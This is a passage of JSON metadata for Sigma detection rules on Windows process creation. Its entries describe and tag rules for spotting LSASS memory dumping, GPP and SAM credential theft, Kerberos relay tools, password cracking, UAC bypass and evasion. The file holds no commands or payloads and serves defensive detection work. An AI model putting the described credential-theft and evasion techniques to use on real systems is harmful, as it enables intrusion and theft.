- "value": "Possible InstallerFileTakeOver LPE CVE-2021-41379" - }, - { - "description": "Detects the exploitation of PrinterNightmare to get a shell as LOCAL_SYSTEM", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/08/11", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_systemnightmare.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_systemnightmare.yml", - "https://github.com/GossiTheDog/SystemNightmare" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ] - }, - "uuid": "c01f7bd6-0c1d-47aa-9c61-187b91273a16", - "value": "SystemNightmare Exploitation Script Execution" - }, - { - "description": "Rename as a legitimate Sysinternals Suite tool to evade detection", - "meta": { - "author": "frack113", - "creation_date": "2021/12/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_false_sysinternalsuite.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_false_sysinternalsuite.yml", - "https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218", - "attack.t1202" - ] - }, - "uuid": "7cce6fc8-a07f-4d84-a53e-96e1879843c9", - "value": "False Sysinternals Suite Tools" - }, - { - "description": "Detects a file or folder's permissions being modified.", - "meta": { - "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali", - "creation_date": "2019/10/23", - "falsepositive": [ - "Users interacting with the files on their own (unlikely unless privileged users).", - "Dynatrace app" - ], - "filename": "proc_creation_win_file_permission_modifications.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_file_permission_modifications.yml", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh750728(v=ws.11)" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.001" - ] - }, - "uuid": "37ae075c-271b-459b-8d7b-55ad5f993dd8", - "value": "File or Folder Permissions Modifications" - }, - { - "description": "Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.", - "meta": { - "author": "frack113", - "creation_date": "2021/12/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_findstr_gpp_passwords.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.006/T1552.006.md#atomic-test-1---gpp-passwords-findstr", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_gpp_passwords.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.006" - ] - }, - "uuid": "91a2c315-9ee6-4052-a853-6f6a8238f90d", - "value": "Findstr GPP Passwords" - }, - { - "description": "Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_findstr_lsass.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lsass.yml", - "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.006" - ] - }, - "uuid": "fe63010f-8823-4864-a96b-a7b4a0f7b929", - "value": "Findstr LSASS" - }, - { - "description": "Detects usage of findstr with the \"EVERYONE\" keyword. This is often used in combination with icacls to look for misconfigured files or folders permissions", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_findstr_recon_everyone.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.006" - ] - }, - "uuid": "47e4bab7-c626-47dc-967b-255608c9a920", - "value": "Suspicious Recon Activity Using Findstr Keywords" - }, - { - "description": "Detects attempts to disable the Windows Firewall using PowerShell", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/14", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_firewall_disabled_via_powershell.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_firewall_disabled_via_powershell.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ] - }, - "uuid": "12f6b752-042d-483e-bf9c-915a6d06ad75", - "value": "Windows Firewall Disabled via PowerShell" - }, - { - "description": "Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.", - "meta": { - "author": "frack113, Florian Roth", - "creation_date": "2022/09/02", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_frp.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/fatedier/frp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_frp.yml", - "https://asec.ahnlab.com/en/38156/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090" - ] - }, - "uuid": "32410e29-5f94-4568-b6a3-d91a8adad863", - "value": "Fast Reverse Proxy (FRP)" - }, - { - "description": "Attackers may leverage fsutil to enumerated connected drives.", - "meta": { - "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "creation_date": "2022/03/29", - "falsepositive": [ - "Certain software or administrative tasks may trigger false positives." - ], - "filename": "proc_creation_win_fsutil_drive_enumeration.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_drive_enumeration.yml", - "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/discovery_peripheral_device.toml", - "Turla has used fsutil fsinfo drives to list connected drives. https://attack.mitre.org/techniques/T1120/" - ], - "tags": [ - "attack.discovery", - "attack.t1120" - ] - }, - "uuid": "63de06b9-a385-40b5-8b32-73f2b9ef84b6", - "value": "Fsutil Drive Enumeration" - }, - { - "description": "A symbolic link is a type of file that contains a reference to another file.\nThis is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt\n", - "meta": { - "author": "frack113", - "creation_date": "2022/03/02", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_fsutil_symlinkevaluation.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_symlinkevaluation.yml", - "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware", - "https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "c0b2768a-dd06-4671-8339-b16ca8d1f27f", - "value": "Fsutil Behavior Set SymlinkEvaluation" - }, - { - "description": "Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/10", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_get_localgroup_member_recon.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_get_localgroup_member_recon.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.001" - ] - }, - "uuid": "c8a180d6-47a3-4345-a609-53f9c3d834fc", - "value": "Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet" - }, - { - "description": "Detects the execution GMER tool based on image and hash fields.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/05", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_gmer_execution.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "http://www.gmer.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gmer_execution.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "9082ff1f-88ab-4678-a3cc-5bcff99fc74d", - "value": "GMER - Rootkit Detector and Remover Execution" - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/02/13", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_gotoopener.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gotoopener.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "b6d98a4f-cef0-4abf-bbf6-24132854a83d", - "value": "Use of GoToAssist Remote Access Software" - }, - { - "description": "Dump sam, system or security hives using REG.exe utility", - "meta": { - "author": "Teymur Kheirkhabarov, Endgame, JHasenbusch, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/22", - "falsepositive": [ - "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" - ], - "filename": "proc_creation_win_grabbing_sensitive_hives_via_reg.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", - "https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_grabbing_sensitive_hives_via_reg.yml", - "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.005", - "car.2013-07-001" - ] - }, - "uuid": "fd877b94-9bb5-4191-bb25-d79cbd93c167", - "value": "Grabbing Sensitive Hives via Reg Utility" - }, - { - "description": "Detects the use of Windows hacktools based on their import hash (imphash) even if the files have been renamed", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/04", - "falsepositive": [ - "Legitimate use of one of these tools" - ], - "filename": "proc_creation_win_hacktool_imphashes.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hacktool_imphashes.yml", - "Internal Research" - ], - "tags": "No established tags" - }, - "uuid": "24e3e58a-646b-4b50-adef-02ef935b9fc8", - "value": "Windows Hacktool Imphash" - }, - { - "description": "Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/07/31", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_hack_adcspwn.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_adcspwn.yml", - "https://github.com/bats3c/ADCSPwn" - ], - "tags": [ - "attack.credential_access", - "attack.t1557.001" - ] - }, - "uuid": "cd8c163e-a19b-402e-bdd5-419ff5859f12", - "value": "ADCSPwn Hack Tool" - }, - { - "description": "Detects command line parameters used by Bloodhound and Sharphound hack tools", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/12/20", - "falsepositive": [ - "Other programs that use these command line option and accepts an 'All' parameter" - ], - "filename": "proc_creation_win_hack_bloodhound.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/BloodHoundAD/SharpHound", - "https://github.com/BloodHoundAD/BloodHound", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_bloodhound.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.001", - "attack.t1087.002", - "attack.t1482", - "attack.t1069.001", - "attack.t1069.002", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "f376c8a7-a2d0-4ddc-aa0c-16c17236d962", - "value": "Bloodhound and Sharphound Hack Tool" - }, - { - "description": "Detects the use of tools created by a well-known hacktool producer named Cube0x0, which includes his handle in all binaries as company information in the PE headers (SharpPrintNightmare, KrbRelay, SharpMapExec etc.)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/04/27", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_hack_cube0x0_tools.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.virustotal.com/gui/search/metadata%253ACube0x0/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_cube0x0_tools.yml", - "https://github.com/cube0x0" - ], - "tags": "No established tags" - }, - "uuid": "37c1333a-a0db-48be-b64b-7393b2386e3b", - "value": "Hacktool by Cube0x0" - }, - { - "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/02/04", - "falsepositive": [ - "Very unlikely" - ], - "filename": "proc_creation_win_hack_dumpert.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", - "https://github.com/outflanknl/Dumpert", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_dumpert.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "2704ab9e-afe2-4854-a3b1-0c0706d03578", - "value": "Dumpert Process Dumper" - }, - { - "description": "Detects command line parameters used by Hydra password guessing hack tool", - "meta": { - "author": "Vasiliy Burov", - "creation_date": "2020/10/05", - "falsepositive": [ - "Software that uses the caret encased keywords PASS and USER in its command line" - ], - "filename": "proc_creation_win_hack_hydra.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/vanhauser-thc/thc-hydra", - "https://attack.mitre.org/techniques/T1110/001/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_hydra.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110", - "attack.t1110.001" - ] - }, - "uuid": "aaafa146-074c-11eb-adc1-0242ac120002", - "value": "Hydra Password Guessing Hack Tool" - }, - { - "description": "Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/24", - "falsepositive": [ - "Very unlikely" - ], - "filename": "proc_creation_win_hack_inveigh.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_inveigh.yml", - "https://github.com/Kevin-Robertson/Inveigh", - "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "b99a1518-1ad5-4f65-bc95-1ffff97a8fd0", - "value": "Inveigh Hack Tool" - }, - { - "description": "Detects command line parameters used by Koadic hack tool", - "meta": { - "author": "wagga, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2020/01/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_hack_koadic.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_koadic.yml", - "https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js", - "https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/", - "https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/" - ], - "tags": [ - "attack.execution", - "attack.t1059.003", - "attack.t1059.005", - "attack.t1059.007" - ] - }, - "uuid": "5cddf373-ef00-4112-ad72-960ac29bac34", - "value": "Koadic Execution" - }, - { - "description": "Detects the use of KrbRelay, a Kerberos relaying tool", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/04/27", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_hack_krbrelay.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelay.yml", - "https://github.com/cube0x0/KrbRelay" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003" - ] - }, - "uuid": "e96253b8-6b3b-4f90-9e59-3b24b99cf9b4", - "value": "KrbRelay Hack Tool" - }, - { - "description": "Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/04/26", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_hack_krbrelayup.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelayup.yml", - "https://github.com/Dec0ne/KrbRelayUp" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003", - "attack.lateral_movement", - "attack.t1550.003" - ] - }, - "uuid": "12827a56-61a4-476a-a9cb-f3068f191073", - "value": "KrbRelayUp Hack Tool" - }, - { - "description": "Detects the execution of the hacktool Rubeus via PE information of command line parameters", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/12/19", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_hack_rubeus.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_rubeus.yml", - "https://github.com/GhostPack/Rubeus", - "https://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/", - "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html" - ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.t1558.003", - "attack.lateral_movement", - "attack.t1550.003" - ] - }, - "uuid": "7ec2c172-dceb-4c10-92c9-87c1881b7e18", - "value": "Rubeus Hack Tool" - }, - { - "description": "Detects the execution of the hacktool SafetyKatz via PE information and default Image name", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/20", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_hack_safetykatz.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_safetykatz.yml", - "https://github.com/GhostPack/SafetyKatz" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "b1876533-4ed5-4a83-90f3-b8645840a413", - "value": "SafetyKatz Hack Tool" - }, - { - "description": "Detects the execution of SecurityXploded Tools", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/12/19", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_hack_secutyxploded.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/", - "https://securityxploded.com/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_secutyxploded.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555" - ] - }, - "uuid": "7679d464-4f74-45e2-9e01-ac66c5eb041a", - "value": "SecurityXploded Tool" - }, - { - "description": "Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/09/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_hack_sharpersist.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpersist.yml", - "https://github.com/mandiant/SharPersist", - "https://www.mandiant.com/resources/blog/sharpersist-windows-persistence-toolkit" - ], - "tags": [ - "attack.persistence", - "attack.t1053" - ] - }, - "uuid": "26488ad0-f9fd-4536-876f-52fea846a2e4", - "value": "SharPersist Usage" - }, - { - "description": "Detects SharpLdapWhoami, a whoami alternative by asking the LDAP service on a domain controller", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/29", - "falsepositive": [ - "Programs that use the same command line flags" - ], - "filename": "proc_creation_win_hack_sharpldapwhoami.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/bugch3ck/SharpLdapWhoami", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpldapwhoami.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033", - "car.2016-03-001" - ] - }, - "uuid": "d9367cbb-c2e0-47ce-bdc0-128cb6da898d", - "value": "SharpLdapWhoami" - }, - { - "description": "Detects the use of Windows Credential Editor (WCE)", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/12/31", - "falsepositive": [ - "Another service that uses a single -s command line switch" - ], - "filename": "proc_creation_win_hack_wce.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.ampliasecurity.com/research/windows-credentials-editor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_wce.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0005" - ] - }, - "uuid": "7aa7009a-28b9-4344-8c1f-159489a390df", - "value": "Windows Credential Editor" - }, - { - "description": "Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/18", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_handlekatz.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/codewhitesec/HandleKatz", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_handlekatz.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "ca621ba5-54ab-4035-9942-d378e6fcde3c", - "value": "HandleKatz LSASS Dumper Usage" - }, - { - "description": "Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against", - "meta": { - "author": "frack113", - "creation_date": "2021/12/27", - "falsepositive": [ - "Tools that accidentally use the same command line flags and values" - ], - "filename": "proc_creation_win_hashcat.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.002/T1110.002.md#atomic-test-1---password-cracking-with-hashcat", - "https://hashcat.net/wiki/doku.php?id=hashcat", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hashcat.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110.002" - ] - }, - "uuid": "39b31e81-5f5f-4898-9c0e-2160cfc0f9bf", - "value": "Password Cracking with Hashcat" - }, - { - "description": "This is an unusual method to download files. It starts a browser headless and downloads a file from a location. This can be used by threat actors to download files.", - "meta": { - "author": "Sreeman, Florian Roth", - "creation_date": "2022/01/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_headless_browser_file_download.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_headless_browser_file_download.yml", - "https://twitter.com/mrd0x/status/1478234484881436672?s=12" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "0e8cfe08-02c9-4815-a2f8-0d157b7ed33e", - "value": "File Download with Headless Browser" - }, - { - "description": "Identifies usage of hh.exe executing recently modified .chm files.", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Dan Beavin), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_hh_chm.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm.yml", - "https://eqllib.readthedocs.io/en/latest/analytics/b25aa548-7937-11e9-8f5c-d46d6d62a49e.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.001" - ] - }, - "uuid": "68c8acb4-1b60-4890-8e82-3ddf7a6dba84", - "value": "HH.exe Execution" - }, - { - "description": "Detects usage of hh.exe to execute/download remotely hosted .chm files.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/29", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_hh_chm_http.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_http.yml", - "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", - "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.001" - ] - }, - "uuid": "f57c58b3-ee69-4ef5-9041-455bf39aaa89", - "value": "HH.exe Remote CHM File Execution" - }, - { - "description": "Monitors for the hiding possible malicious files in the C:\\Windows\\Fonts\\ location. This folder doesn't require admin privillege to be written and executed from.", - "meta": { - "author": "Sreeman", - "creation_date": "2020/04/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_hiding_malware_in_fonts_folder.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hiding_malware_in_fonts_folder.yml", - "https://thedfirreport.com/2020/04/20/sqlserver-or-the-miner-in-the-basement/" - ], - "tags": [ - "attack.t1211", - "attack.t1059", - "attack.defense_evasion", - "attack.persistence" - ] - }, - "uuid": "ae9b0bd7-8888-4606-b444-0ed7410cb728", - "value": "Writing Of Malicious Files To The Fonts Folder" - }, - { - "description": "A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_high_integrity_sdclt.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", - "https://github.com/OTRF/detection-hackathon-apt29/issues/6", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_high_integrity_sdclt.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1548.002" - ] - }, - "uuid": "40f9af16-589d-4984-b78d-8c2aec023197", - "value": "High Integrity Sdclt Process" - }, - { - "description": "Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/12/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_hktl_createminidump.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_createminidump.yml", - "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": 